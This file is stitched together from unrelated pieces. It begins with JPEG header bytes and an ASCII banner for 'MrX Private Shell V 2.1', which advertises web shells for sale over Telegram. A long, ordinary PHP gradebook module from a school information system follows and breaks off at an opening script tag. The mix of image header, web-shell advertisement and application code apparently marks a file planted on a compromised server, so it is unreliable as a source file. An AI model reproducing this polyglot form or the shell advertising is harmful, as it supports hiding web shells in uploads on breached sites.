����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// Note: The 'active assignments' feature is not fully correct. If a student has dropped and re-enrolled there can be multiple timespans for
// which the assignemnts are 'active' for that student. However, only the timespan of current enrollment is used for 'active' assignment
// determination. It would be possible to include all enrollment timespans but only the current is used for simplicity. This is not a bug
// but an accepted limitaion.
require_once 'ProgramFunctions/_makeLetterGrade.fnc.php';
require_once 'modules/Grades/includes/StudentAssignments.fnc.php';
require_once 'modules/Grades/includes/FinalGrades.inc.php';
if ( ! empty( $_REQUEST['period'] ) )
{
// @since 10.9 Set current User Course Period before Secondary Teacher logic.
SetUserCoursePeriod( $_REQUEST['period'] );
}
if ( ! empty( $_SESSION['is_secondary_teacher'] ) )
{
// @since 6.9 Add Secondary Teacher: set User to main teacher.
UserImpersonateTeacher();
}
$_REQUEST['include_inactive'] = issetVal( $_REQUEST['include_inactive'] );
$_REQUEST['include_all'] = issetVal( $_REQUEST['include_all'] );
$_REQUEST['type_id'] = issetVal( $_REQUEST['type_id'] );
$_REQUEST['assignment_id'] = issetVal( $_REQUEST['assignment_id'] );
DrawHeader( _( 'Gradebook' ) . ' - ' . ProgramTitle() . ' - ' . GetMP( UserMP() ) );
// if running as a teacher program then rosario[allow_edit] will already be set according to admin permissions
if ( ! isset( $_ROSARIO['allow_edit'] )
// Do not allow edit past quarter grades for Teachers according to Program Config.
&& ( ProgramConfig( 'grades', 'GRADES_GRADEBOOK_TEACHER_ALLOW_EDIT' )
|| GetCurrentMP( 'QTR', DBDate(), false ) == UserMP()
|| GetMP( 'END_DATE' ) > DBDate() ) )
{
$_ROSARIO['allow_edit'] = true;
}
$course_id = DBGetOne( "SELECT COURSE_ID
FROM course_periods
WHERE COURSE_PERIOD_ID='" . UserCoursePeriod() . "'" );
$gradebook_config = ProgramUserConfig( 'Gradebook' );
//$max_allowed = Preferences('ANOMALOUS_MAX','Gradebook')/100;
$max_allowed = ( isset( $gradebook_config['ANOMALOUS_MAX'] ) && $gradebook_config['ANOMALOUS_MAX'] ?
$gradebook_config['ANOMALOUS_MAX'] / 100 :
1 );
if ( ! empty( $_REQUEST['student_id'] ) )
{
if ( $_REQUEST['student_id'] !== UserStudentID() )
{
SetUserStudentID( $_REQUEST['student_id'] );
}
}
elseif ( UserStudentID() )
{
unset( $_SESSION['student_id'] );
}
// Fix SQL get all assignment types having assignments for this course period
$types_RET = DBGet( "SELECT ASSIGNMENT_TYPE_ID,TITLE,FINAL_GRADE_PERCENT,COLOR
FROM gradebook_assignment_types gt
WHERE (STAFF_ID='" . User( 'STAFF_ID' ) . "'
OR EXISTS(SELECT 1 FROM gradebook_assignments
WHERE STAFF_ID='" . User( 'STAFF_ID' ) . "'
AND (COURSE_ID='" . (int) $course_id . "' OR COURSE_PERIOD_ID='" . UserCoursePeriod() . "')
AND ASSIGNMENT_TYPE_ID=gt.ASSIGNMENT_TYPE_ID
AND MARKING_PERIOD_ID='" . UserMP() . "'))
AND COURSE_ID='" . (int) $course_id . "'
ORDER BY SORT_ORDER IS NULL,SORT_ORDER,TITLE", [ 'TITLE' => '_makeTitle' ], [ 'ASSIGNMENT_TYPE_ID' ] );
//echo '<pre>'; var_dump($types_RET); echo '</pre>';
if ( $_REQUEST['type_id']
&& empty( $types_RET[$_REQUEST['type_id']] ) )
{
// Unset type ID & redirect URL.
RedirectURL( 'type_id' );
}
$assignments_RET = DBGet( "SELECT ga.ASSIGNMENT_ID,ga.ASSIGNMENT_TYPE_ID,ga.TITLE,ga.POINTS,ga.ASSIGNED_DATE,
ga.DUE_DATE,ga.DEFAULT_POINTS," . _SQLUnixTimestamp( 'DUE_DATE' ) . " AS DUE_EPOCH,ga.WEIGHT,
CASE WHEN (ASSIGNED_DATE IS NULL OR CURRENT_DATE>=ASSIGNED_DATE)
AND (DUE_DATE IS NULL OR CURRENT_DATE>=DUE_DATE)
OR CURRENT_DATE>(SELECT END_DATE FROM school_marking_periods WHERE MARKING_PERIOD_ID=ga.MARKING_PERIOD_ID)
THEN 'Y' ELSE NULL END AS DUE
FROM gradebook_assignments ga,gradebook_assignment_types gat
WHERE ga.STAFF_ID='" . User( 'STAFF_ID' ) . "'
AND (ga.COURSE_ID='" . (int) $course_id . "' OR ga.COURSE_PERIOD_ID='" . UserCoursePeriod() . "')
AND ga.MARKING_PERIOD_ID='" . UserMP() . "'" .
( $_REQUEST['type_id'] ? " AND ga.ASSIGNMENT_TYPE_ID='" . (int) $_REQUEST['type_id'] . "'" : '' ) .
" AND gat.ASSIGNMENT_TYPE_ID=ga.ASSIGNMENT_TYPE_ID
ORDER BY gat.TITLE,ga." .
// SQL ORDER BY Assignment Type first, then order Assignments.
DBEscapeIdentifier( Preferences( 'ASSIGNMENT_SORTING', 'Gradebook' ) ) .
" DESC,ga.ASSIGNMENT_ID DESC,ga.TITLE", [], [ 'ASSIGNMENT_ID' ] );
//echo '<pre>'; var_dump($assignments_RET); echo '</pre>';
// when changing course periods the assignment_id will be wrong except for '' (totals) and 'all'
if ( $_REQUEST['assignment_id']
&& $_REQUEST['assignment_id'] !== 'all'
&& empty( $assignments_RET[$_REQUEST['assignment_id']] ) )
{
// Unset assignment ID & redirect URL.
RedirectURL( 'assignment_id' );
}
//else
// $_REQUEST['type_id'] = $assignments_RET[$_REQUEST['assignment_id']][1]['ASSIGNMENT_TYPE_ID'];
if ( UserStudentID()
&& ! $_REQUEST['assignment_id'] )
{
$_REQUEST['assignment_id'] = 'all';
}
if ( ! empty( $_REQUEST['values'] )
&& ! empty( $_POST['values'] )
&& $_REQUEST['assignment_id'] )
{
include 'ProgramFunctions/_makePercentGrade.fnc.php';
if ( UserStudentID() )
{
$current_RET[UserStudentID()] = DBGet( "SELECT g.ASSIGNMENT_ID
FROM gradebook_grades g,gradebook_assignments a
WHERE a.ASSIGNMENT_ID=g.ASSIGNMENT_ID
AND a.MARKING_PERIOD_ID='" . UserMP() . "'
AND g.STUDENT_ID='" . UserStudentID() . "'
AND g.COURSE_PERIOD_ID='" . UserCoursePeriod() . "'" .
( $_REQUEST['assignment_id'] === 'all' ? '' :
" AND g.ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'" ),
[],
[ 'ASSIGNMENT_ID' ]
);
}
elseif ( $_REQUEST['assignment_id'] === 'all' )
{
$current_RET = DBGet( "SELECT g.STUDENT_ID,g.ASSIGNMENT_ID,g.POINTS
FROM gradebook_grades g,gradebook_assignments a
WHERE a.ASSIGNMENT_ID=g.ASSIGNMENT_ID
AND a.MARKING_PERIOD_ID='" . UserMP() . "'
AND g.COURSE_PERIOD_ID='" . UserCoursePeriod() . "'",
[],
[ 'STUDENT_ID', 'ASSIGNMENT_ID' ]
);
}
else
{
$current_RET = DBGet( "SELECT STUDENT_ID,POINTS,COMMENT,ASSIGNMENT_ID
FROM gradebook_grades
WHERE ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'
AND COURSE_PERIOD_ID='" . UserCoursePeriod() . "'",
[],
[ 'STUDENT_ID', 'ASSIGNMENT_ID' ]
);
}
$inserted_or_updated = false;
foreach ( (array) $_REQUEST['values'] as $student_id => $assignments )
{
foreach ( (array) $assignments as $assignment_id => $columns )
{
if ( isset( $columns['POINTS'] )
&& $columns['POINTS'] != '' )
{
if ( $columns['POINTS'] == '*' )
{
$columns['POINTS'] = '-1';
}
else
{
// Handle Points decimal with comma instead of point, ie "10,5"
$columns['POINTS'] = str_replace( ',', '.', $columns['POINTS'] );
if ( mb_substr( $columns['POINTS'], -1 ) == '%' )
{
$columns['POINTS'] = mb_substr( $columns['POINTS'], 0, -1 ) * $assignments_RET[$assignment_id][1]['POINTS'] / 100;
}
elseif ( ! is_numeric( $columns['POINTS'] ) )
{
$columns['POINTS'] = _makePercentGrade( $columns['POINTS'], UserCoursePeriod() ) * $assignments_RET[$assignment_id][1]['POINTS'] / 100;
}
if ( $columns['POINTS'] < 0 )
{
$columns['POINTS'] = '0';
}
elseif ( $columns['POINTS'] > 9999.99 )
{
$columns['POINTS'] = '9999.99';
}
}
}
if ( ! empty( $current_RET[$student_id][$assignment_id] ) )
{
$inserted_or_updated = DBUpdate(
'gradebook_grades',
$columns,
[
'STUDENT_ID' => (int) $student_id,
'COURSE_PERIOD_ID' => UserCoursePeriod(),
'ASSIGNMENT_ID' => (int) $assignment_id,
]
);
}
elseif ( $columns['POINTS'] != ''
|| ( isset( $columns['COMMENT'] ) && $columns['COMMENT'] != '' ) )
{
// @deprecated since 6.9 SQL gradebook_grades column PERIOD_ID.
$inserted_or_updated = DBInsert(
'gradebook_grades',
[
'STUDENT_ID' => (int) $student_id,
'COURSE_PERIOD_ID' => UserCoursePeriod(),
'ASSIGNMENT_ID' => (int) $assignment_id,
'POINTS' => $columns['POINTS'],
'COMMENT' => issetVal( $columns['COMMENT'], '' ),
]
);
}
}
}
if ( $inserted_or_updated
&& ! empty( $gradebook_config['AUTO_SAVE_FINAL_GRADES'] ) )
{
// @since 11.8 Automatically calculate & save Course Period's Final Grades using Gradebook Grades
FinalGradesAllMPSaveAJAX( UserCoursePeriod(), UserMP() );
}
// Unset values & redirect URL.
RedirectURL( 'values' );
unset( $current_RET );
}
$LO_options = [ 'search' => false, 'valign-middle' => true ];
if ( UserStudentID() )
{
$extra['WHERE'] = " AND s.STUDENT_ID='" . UserStudentID() . "'";
if ( empty( $_REQUEST['type_id'] ) )
{
$LO_columns = [ 'TYPE_TITLE' => _( 'Category' ) ];
}
else
{
$LO_columns = [];
}
$LO_columns += [
'TITLE' => _( 'Assignment' ),
'POINTS' => _( 'Points' ),
'COMMENT' => _( 'Comment' ),
'SUBMISSION' => _( 'Submission' ),
];
// modif Francois: display percent grade according to Configuration.
if ( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) >= 0 )
{
$LO_columns['PERCENT_GRADE'] = _( 'Percent' );
}
// modif Francois: display letter grade according to Configuration.
if ( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) <= 0 )
{
if ( empty( $gradebook_config['LETTER_GRADE_ALL'] ) )
{
$LO_columns['LETTER_GRADE'] = _( 'Letter' );
}
}
$link['TITLE']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&include_inactive=' . $_REQUEST['include_inactive'] . '&include_all=' . $_REQUEST['include_all'];
$link['TITLE']['variables'] = [
'type_id' => 'ASSIGNMENT_TYPE_ID',
'assignment_id' => 'ASSIGNMENT_ID',
];
$current_RET[UserStudentID()] = DBGet( "SELECT g.ASSIGNMENT_ID
FROM gradebook_grades g,gradebook_assignments a
WHERE a.ASSIGNMENT_ID=g.ASSIGNMENT_ID
AND a.MARKING_PERIOD_ID='" . UserMP() . "'
AND g.STUDENT_ID='" . UserStudentID() . "'
AND g.COURSE_PERIOD_ID='" . UserCoursePeriod() . "'" .
( $_REQUEST['assignment_id'] == 'all' ? '' : " AND g.ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'" ), [], [ 'ASSIGNMENT_ID' ] );
$count_assignments = count( (array) $assignments_RET );
$extra['SELECT'] = ",ga.ASSIGNMENT_TYPE_ID,ga.ASSIGNMENT_ID,ga.TITLE,ga.POINTS AS TOTAL_POINTS,
ga.SUBMISSION,'' AS PERCENT_GRADE,'' AS LETTER_GRADE,ga.WEIGHT,
CASE WHEN (ga.ASSIGNED_DATE IS NULL OR CURRENT_DATE>=ga.ASSIGNED_DATE)
AND (ga.DUE_DATE IS NULL OR CURRENT_DATE>=ga.DUE_DATE)
OR CURRENT_DATE>(SELECT END_DATE FROM school_marking_periods WHERE MARKING_PERIOD_ID=ga.MARKING_PERIOD_ID)
THEN 'Y' ELSE NULL END AS DUE";
$extra['SELECT'] .= ',gg.POINTS,gg.COMMENT';
if ( empty( $_REQUEST['type_id'] ) )
{
$extra['SELECT'] .= ',(SELECT TITLE FROM gradebook_assignment_types WHERE ASSIGNMENT_TYPE_ID=ga.ASSIGNMENT_TYPE_ID) AS TYPE_TITLE';
$link['TYPE_TITLE']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&include_inactive=' . $_REQUEST['include_inactive'] . '&include_all=' . $_REQUEST['include_all'];
$link['TYPE_TITLE']['variables'] = [ 'type_id' => 'ASSIGNMENT_TYPE_ID' ];
}
$extra['FROM'] = " JOIN gradebook_assignments ga ON
(ga.STAFF_ID=cp.TEACHER_ID
AND ((ga.COURSE_ID=cp.COURSE_ID AND ga.STAFF_ID=cp.TEACHER_ID)
OR ga.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID)
AND ga.MARKING_PERIOD_ID='" . UserMP() . "'" .
( $_REQUEST['assignment_id'] == 'all' ? '' : " AND ga.ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'" ) .
( $_REQUEST['type_id'] ? " AND ga.ASSIGNMENT_TYPE_ID='" . (int) $_REQUEST['type_id'] . "'" : '' ) . ")
LEFT OUTER JOIN gradebook_grades gg ON
(gg.STUDENT_ID=s.STUDENT_ID
AND gg.ASSIGNMENT_ID=ga.ASSIGNMENT_ID
AND gg.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID)";
if ( empty( $_REQUEST['include_all'] ) )
{
$extra['WHERE'] .= " AND (gg.POINTS IS NOT NULL
OR (ga.DUE_DATE IS NULL
OR (GREATEST(ssm.START_DATE,ss.START_DATE)<=ga.DUE_DATE)
AND (LEAST(ssm.END_DATE,ss.END_DATE) IS NULL
OR LEAST(ssm.END_DATE,ss.END_DATE)>=ga.DUE_DATE)))" .
( $_REQUEST['type_id'] ? " AND ga.ASSIGNMENT_TYPE_ID='" . (int) $_REQUEST['type_id'] . "'" : '' );
}
$extra['ORDER_BY'] = DBEscapeIdentifier( Preferences( 'ASSIGNMENT_SORTING', 'Gradebook' ) ) . " DESC";
$extra['functions'] = [
'TYPE_TITLE' => '_makeTitle',
'POINTS' => '_makeExtraStuCols',
'PERCENT_GRADE' => '_makeExtraStuCols',
'LETTER_GRADE' => '_makeExtraStuCols',
'COMMENT' => '_makeExtraStuCols',
'SUBMISSION' => 'MakeStudentAssignmentSubmissionView',
];
}
else
{
$LO_columns = [ 'FULL_NAME' => _( 'Student' ) ];
// Gain 1 column: replace it with "Submission".
/*if ( $_REQUEST['assignment_id'] != 'all' )
{
$LO_columns += array( 'STUDENT_ID' => sprintf( _( '%s ID' ), Config( 'NAME' ) ) );
}*/
if ( $_REQUEST['include_inactive'] == 'Y' )
{
$LO_columns += [
'ACTIVE' => _( 'School Status' ),
'ACTIVE_SCHEDULE' => _( 'Course Status' ) ];
}
$link['FULL_NAME']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] .
'&include_inactive=' . $_REQUEST['include_inactive'] .
'&include_all=' . $_REQUEST['include_all'] . '&type_id=' . $_REQUEST['type_id'] . '&assignment_id=all';
$link['FULL_NAME']['variables'] = [ 'student_id' => 'STUDENT_ID' ];
$sql_start_end_epoch = "," . _SQLUnixTimestamp( 'GREATEST(ssm.START_DATE, ss.START_DATE)' ) . " AS START_EPOCH," .
_SQLUnixTimestamp( 'LEAST(ssm.END_DATE, ss.END_DATE)' ) . " AS END_EPOCH";
if ( $_REQUEST['assignment_id'] == 'all' )
{
$current_RET = DBGet( "SELECT g.STUDENT_ID,g.ASSIGNMENT_ID,g.POINTS
FROM gradebook_grades g,gradebook_assignments a
WHERE a.ASSIGNMENT_ID=g.ASSIGNMENT_ID
AND a.MARKING_PERIOD_ID='" . UserMP() . "'
AND g.COURSE_PERIOD_ID='" . UserCoursePeriod() . "'" .
( $_REQUEST['type_id'] ? " AND a.ASSIGNMENT_TYPE_ID='" . (int) $_REQUEST['type_id'] . "'" : '' ),
[],
[ 'STUDENT_ID', 'ASSIGNMENT_ID' ]
);
// Fix PHP Fatal error: Cannot pass parameter 1 by reference.
$count_extra = [ 'SELECT_ONLY' => 'ssm.STUDENT_ID' ];
$count_students = GetStuList( $count_extra );
$count_students = count( (array) $count_students );
$extra['SELECT'] = $sql_start_end_epoch;
$extra['functions'] = [];
foreach ( (array) $assignments_RET as $id => $assignment )
{
$assignment = $assignment[1];
$extra['SELECT'] .= ",'" . $id . "' AS G" . $id;
$extra['functions'] += [ 'G' . $id => '_makeExtraCols' ];
// @since 10.4 Truncate Assignment title to 36 chars.
$title = mb_strlen( $assignment['TITLE'] ) <= 36 ?
$assignment['TITLE'] :
'<span title="' . AttrEscape( $assignment['TITLE'] ) . '">' . mb_substr( $assignment['TITLE'], 0, 33 ) . '...</span>';
$column_title = $title;
if ( empty( $_REQUEST['type_id'] ) )
{
$column_title = $types_RET[$assignment['ASSIGNMENT_TYPE_ID']][1]['TITLE'] . '<br />' . $column_title;
}
if ( ! $_REQUEST['type_id']
&& $types_RET[$assignment['ASSIGNMENT_TYPE_ID']][1]['COLOR'] )
{
$column_title = '<span style="background-color: ' .
$types_RET[$assignment['ASSIGNMENT_TYPE_ID']][1]['COLOR'] . ';"> </span> ' .
$column_title;
}
$LO_columns['G' . $id] = $column_title;
}
}
elseif ( ! empty( $_REQUEST['assignment_id'] ) )
{
$extra['SELECT'] = ",'" . $_REQUEST['assignment_id'] . "' AS POINTS,
'" . $_REQUEST['assignment_id'] . "' AS PERCENT_GRADE,
'" . $_REQUEST['assignment_id'] . "' AS LETTER_GRADE,
'" . $_REQUEST['assignment_id'] . "' AS COMMENT,
(SELECT 'Y' FROM gradebook_assignments ga
WHERE ga.ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'
AND ga.SUBMISSION='Y') AS SUBMISSION,
'" . $_REQUEST['assignment_id'] . "' AS ASSIGNMENT_ID";
$extra['SELECT'] .= $sql_start_end_epoch;
$extra['functions'] = [
'POINTS' => '_makeExtraAssnCols',
'PERCENT_GRADE' => '_makeExtraAssnCols',
'LETTER_GRADE' => '_makeExtraAssnCols',
'COMMENT' => '_makeExtraAssnCols',
'SUBMISSION' => 'MakeStudentAssignmentSubmissionView',
];
$LO_columns += [
'POINTS' => _( 'Points' ),
'COMMENT' => _( 'Comment' ),
'SUBMISSION' => _( 'Submission' ),
];
$current_RET = DBGet( "SELECT STUDENT_ID,POINTS,COMMENT,ASSIGNMENT_ID
FROM gradebook_grades
WHERE ASSIGNMENT_ID='" . (int) $_REQUEST['assignment_id'] . "'
AND COURSE_PERIOD_ID='" . UserCoursePeriod() . "'", [], [ 'STUDENT_ID', 'ASSIGNMENT_ID' ] );
}
else
{
if ( ! empty( $assignments_RET ) )
{
//FJ default points
$extra['SELECT_ONLY'] = "s.STUDENT_ID,gt.ASSIGNMENT_TYPE_ID,
sum(" . db_case( [ 'gg.POINTS', "'-1'", "'0'", "''", db_case( [ 'ga.DEFAULT_POINTS', "'-1'", "'0'", 'ga.DEFAULT_POINTS' ] ), 'gg.POINTS' ] ) . ") AS PARTIAL_POINTS,
sum(" . db_case( [ 'gg.POINTS', "'-1'", "'0'", "''", db_case( [ 'ga.DEFAULT_POINTS', "'-1'", "'0'", 'ga.POINTS' ] ), 'ga.POINTS' ] ) . ") AS PARTIAL_TOTAL,gt.FINAL_GRADE_PERCENT";
if ( ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) )
{
// @since 11.0 Add Weight Assignments option
$extra['SELECT_ONLY'] .= ",sum(" . db_case( [ 'ga.WEIGHT', "''", "'0'", "ga.WEIGHT" ] ) . ") AS PARTIAL_WEIGHT,
sum((gg.POINTS/ga.POINTS)*ga.WEIGHT) AS PARTIAL_WEIGHTED_GRADE";
}
$extra['FROM'] = " JOIN gradebook_assignments ga ON (((ga.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID OR ga.COURSE_ID=cp.COURSE_ID) AND ga.STAFF_ID=cp.TEACHER_ID)
AND ga.MARKING_PERIOD_ID='" . UserMP() . "')
LEFT OUTER JOIN gradebook_grades gg ON (gg.STUDENT_ID=s.STUDENT_ID
AND gg.ASSIGNMENT_ID=ga.ASSIGNMENT_ID
AND gg.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID),gradebook_assignment_types gt";
$extra['WHERE'] = " AND gt.ASSIGNMENT_TYPE_ID=ga.ASSIGNMENT_TYPE_ID
AND gt.COURSE_ID=cp.COURSE_ID
AND (gg.POINTS IS NOT NULL OR (ga.ASSIGNED_DATE IS NULL OR CURRENT_DATE>=ga.ASSIGNED_DATE)
AND (ga.DUE_DATE IS NULL OR CURRENT_DATE>=ga.DUE_DATE)
OR CURRENT_DATE>(SELECT END_DATE
FROM school_marking_periods
WHERE MARKING_PERIOD_ID=ga.MARKING_PERIOD_ID))" .
( $_REQUEST['type_id'] ? " AND ga.ASSIGNMENT_TYPE_ID='" . (int) $_REQUEST['type_id'] . "'" : '' );
if ( ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) )
{
// @since 11.0 Add Weight Assignments option
// Exclude Extra Credit assignments.
$extra['WHERE'] .= " AND ga.POINTS>0";
}
if ( empty( $_REQUEST['include_all'] ) )
{
$extra['WHERE'] .= " AND (gg.POINTS IS NOT NULL
OR ga.DUE_DATE IS NULL
OR ((ga.DUE_DATE>=ss.START_DATE AND (ss.END_DATE IS NULL OR ga.DUE_DATE<=ss.END_DATE))
AND (ga.DUE_DATE>=ssm.START_DATE
AND (ssm.END_DATE IS NULL OR ga.DUE_DATE<=ssm.END_DATE))))";
}
$extra['GROUP'] = "gt.ASSIGNMENT_TYPE_ID,gt.FINAL_GRADE_PERCENT,s.STUDENT_ID";
$extra['group'] = [ 'STUDENT_ID' ];
$points_RET = GetStuList( $extra );
//echo '<pre>'; var_dump($points_RET); echo '</pre>';
unset( $extra );
$extra['SELECT'] = $sql_start_end_epoch .
",'' AS POINTS,'' AS PERCENT_GRADE,'' AS LETTER_GRADE";
$extra['functions'] = [
'POINTS' => '_makeExtraAssnCols',
'PERCENT_GRADE' => '_makeExtraAssnCols',
'LETTER_GRADE' => '_makeExtraAssnCols',
];
$LO_columns['POINTS'] = _( 'Points' );
}
}
if ( $_REQUEST['assignment_id'] != 'all' )
{
// modif Francois: display percent grade according to Configuration.
if ( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) >= 0 )
{
$LO_columns['PERCENT_GRADE'] = _( 'Percent' );
}
// modif Francois: display letter grade according to Configuration.
if ( ProgramConfig( 'grades', 'GRADES_DOES_LETTER_PERCENT' ) <= 0 )
{
if ( empty( $_REQUEST['assignment_id'] )
|| empty( $gradebook_config['LETTER_GRADE_ALL'] ) )
{
$LO_columns['LETTER_GRADE'] = _( 'Letter' );
}
}
}
$extra['functions']['FULL_NAME'] = 'makePhotoTipMessage';
}
$stu_RET = GetStuList( $extra );
//echo '<pre>'; var_dump($stu_RET); echo '</pre>';
$type_onchange_URL = URLEscape( "Modules.php?modname=" . $_REQUEST['modname'] .
'&include_inactive=' . $_REQUEST['include_inactive'] .
'&include_all=' . $_REQUEST['include_all'] .
( $_REQUEST['assignment_id'] === 'all' ? '&assignment_id=all' : '' ) .
( UserStudentID() ? '&student_id=' . UserStudentID() : '' ) .
"&type_id=" );
$type_select = '<select name="type_id" id="type_id" autocomplete="off" onchange="' .
AttrEscape( 'ajaxLink(' . json_encode( $type_onchange_URL ) . ' + this.value);' ) . '">';
$type_select .= '<option value=""' . ( ! $_REQUEST['type_id'] ? ' selected' : '' ) . '>' .
_( 'All' ) .
'</option>';
foreach ( (array) $types_RET as $id => $type )
{
$type_select .= '<option value="' . AttrEscape( $id ) . '"' . ( $_REQUEST['type_id'] == $id ? ' selected' : '' ) . '>' .
$type[1]['TITLE'] .
'</option>';
}
$type_select .= '</select><label for="type_id" class="a11y-hidden">' . _( 'Assignment Types' ) . '</label>';
$assignment_onchange_URL = URLEscape( "Modules.php?modname=" . $_REQUEST['modname'] .
'&include_inactive=' . $_REQUEST['include_inactive'] .
'&include_all=' . $_REQUEST['include_all'] .
'&type_id=' . $_REQUEST['type_id'] .
"&assignment_id=" );
$assignment_select = '<select name="assignment_id" id="assignment_id" autocomplete="off" onchange="' .
AttrEscape( 'ajaxLink(' . json_encode( $assignment_onchange_URL ) . ' + this.value);' ) . '">';
$assignment_select .= '<option value="">' . _( 'Totals' ) . '</option>';
$assignment_select .= '<option value="all"' . ( ( $_REQUEST['assignment_id'] === 'all' && ! UserStudentID() ) ? ' selected' : '' ) . '>' .
_( 'All' ) .
'</option>';
if ( UserStudentID() && $_REQUEST['assignment_id'] === 'all' )
{
$assignment_select .= '<option value="all" selected>' .
( isset( $stu_RET[1]['FULL_NAME'] ) ? $stu_RET[1]['FULL_NAME'] : '' ) . '</option>';
}
$optgroup = '';
foreach ( (array) $assignments_RET as $id => $assignment )
{
if ( empty( $_REQUEST['type_id'] )
&& $optgroup !== $types_RET[$assignment[1]['ASSIGNMENT_TYPE_ID']][1]['TITLE'] )
{
if ( $optgroup )
{
$assignment_select .= '</optgroup>';
}
$optgroup = $types_RET[$assignment[1]['ASSIGNMENT_TYPE_ID']][1]['TITLE'];
$assignment_select .= '<optgroup label="' . AttrEscape( strip_tags( $optgroup ) ) . '">';
}
$assignment_select .= '<option value="' . AttrEscape( $id ) . '"' .
( $_REQUEST['assignment_id'] == $id ? ' selected' : '' ) . '>' .
$assignment[1]['TITLE'] . '</option>';
}
if ( $assignments_RET )
{
$assignment_select .= '</optgroup>';
}
$assignment_select .= '</select>
<label for="assignment_id" class="a11y-hidden">' . _( 'Assignments' ) . '</label>';
// echo '<form action="' . URLEscape( 'Modules.php?modname='.$_REQUEST['modname'].'&student_id='.UserStudentID().'' ) . '" method="POST">';
/**
* Adding `'&period=' . UserCoursePeriod()` to the Teacher form URL will prevent the following issue:
* If form is displayed for CP A, then Teacher opens a new browser tab and switches to CP B
* Then teacher submits the form, data would be saved for CP B...
*
* Must be used in combination with
* `if ( ! empty( $_REQUEST['period'] ) ) SetUserCoursePeriod( $_REQUEST['period'] );`
*/
echo '<form action="' . PreparePHP_SELF( [], [ 'values' ], [ 'period' => UserCoursePeriod() ] ) . '" method="POST">';
$tabs = [ [
'title' => _( 'All' ),
'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&type_id=' . ( $_REQUEST['assignment_id'] == 'all' ? '&assignment_id=all' : '' ) . ( UserStudentID() ? '&student_id=' . UserStudentID() : '' ) . '&include_inactive=' . $_REQUEST['include_inactive'] . '&include_all=' . $_REQUEST['include_all'],
] ];
foreach ( (array) $types_RET as $id => $type )
{
$color = '';
if ( $type[1]['COLOR'] )
{
$color = '<span style="background-color: ' . $type[1]['COLOR'] . ';"> </span> ';
}
$tabs[] = [
'title' => $color . $type[1]['TITLE'] .
( ! empty( $gradebook_config['WEIGHT'] ) ?
'|' . number_format( 100 * $type[1]['FINAL_GRADE_PERCENT'], 0 ) . '%' :
'' ),
'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&type_id=' . $id .
( $_REQUEST['assignment_id'] == 'all' ? '&assignment_id=all' : '' ) .
( UserStudentID() ? '&student_id=' . UserStudentID() : '' ) .
'&include_inactive=' . $_REQUEST['include_inactive'] . '&include_all=' . $_REQUEST['include_all'],
];
}
DrawHeader(
$type_select . $assignment_select,
$_REQUEST['assignment_id'] ? SubmitButton() : ''
);
DrawHeader(
CheckBoxOnclick(
'include_inactive',
_( 'Include Inactive Students' )
) . ' ' .
CheckBoxOnclick(
'include_all',
_( 'Include Inactive Assignments' )
)
);
if ( $_REQUEST['assignment_id'] && $_REQUEST['assignment_id'] != 'all' )
{
$assigned_date = $assignments_RET[$_REQUEST['assignment_id']][1]['ASSIGNED_DATE'];
$due_date = $assignments_RET[$_REQUEST['assignment_id']][1]['DUE_DATE'];
$due = $assignments_RET[$_REQUEST['assignment_id']][1]['DUE'];
DrawHeader( _( 'Assigned Date' ) . ': ' . ( $assigned_date ? ProperDate( $assigned_date ) : _( 'N/A' ) ) .
' — ' . _( 'Due Date' ) . ': ' . ( $due_date ? ProperDate( $due_date ) : _( 'N/A' ) ) .
( $due ? ' — <b>' . _( 'Assignment is Due' ) . '</b>' : '' ) );
}
if ( empty( $_ROSARIO['allow_edit'] )
&& ( ! empty( $_REQUEST['student_id'] )
|| ! empty( $_REQUEST['assignment_id'] ) ) )
{
DrawHeader( '<span style="color:red">' . _( 'You can not edit these grades.' ) . '</span>' );
}
$LO_options['header'] = WrapTabs(
$tabs,
'Modules.php?modname=' . $_REQUEST['modname'] . '&type_id=' .
( $_REQUEST['type_id'] ?
$_REQUEST['type_id'] :
( $_REQUEST['assignment_id'] && $_REQUEST['assignment_id'] != 'all' ?
$assignments_RET[$_REQUEST['assignment_id']][1]['ASSIGNMENT_TYPE_ID'] :
'' )
) .
( $_REQUEST['assignment_id'] == 'all' ? '&assignment_id=all' : '' ) .
( UserStudentID() ? '&student_id=' . UserStudentID() : '' ) .
'&include_inactive=' . $_REQUEST['include_inactive'] . '&include_all=' . $_REQUEST['include_all']
);
echo '<br />';
if ( UserStudentID() )
{
ListOutput(
$stu_RET,
$LO_columns,
'Assignment',
'Assignments',
$link,
[],
$LO_options
);
}
else
{
ListOutput(
$stu_RET,
$LO_columns,
'Student',
'Students',
$link,
[],
$LO_options
);
}
// @since 4.6 Navigate form inputs vertically using tab key.
// @link https://stackoverflow.com/questions/38575817/set-tabindex-in-vertical-order-of-columns
?>
<script>
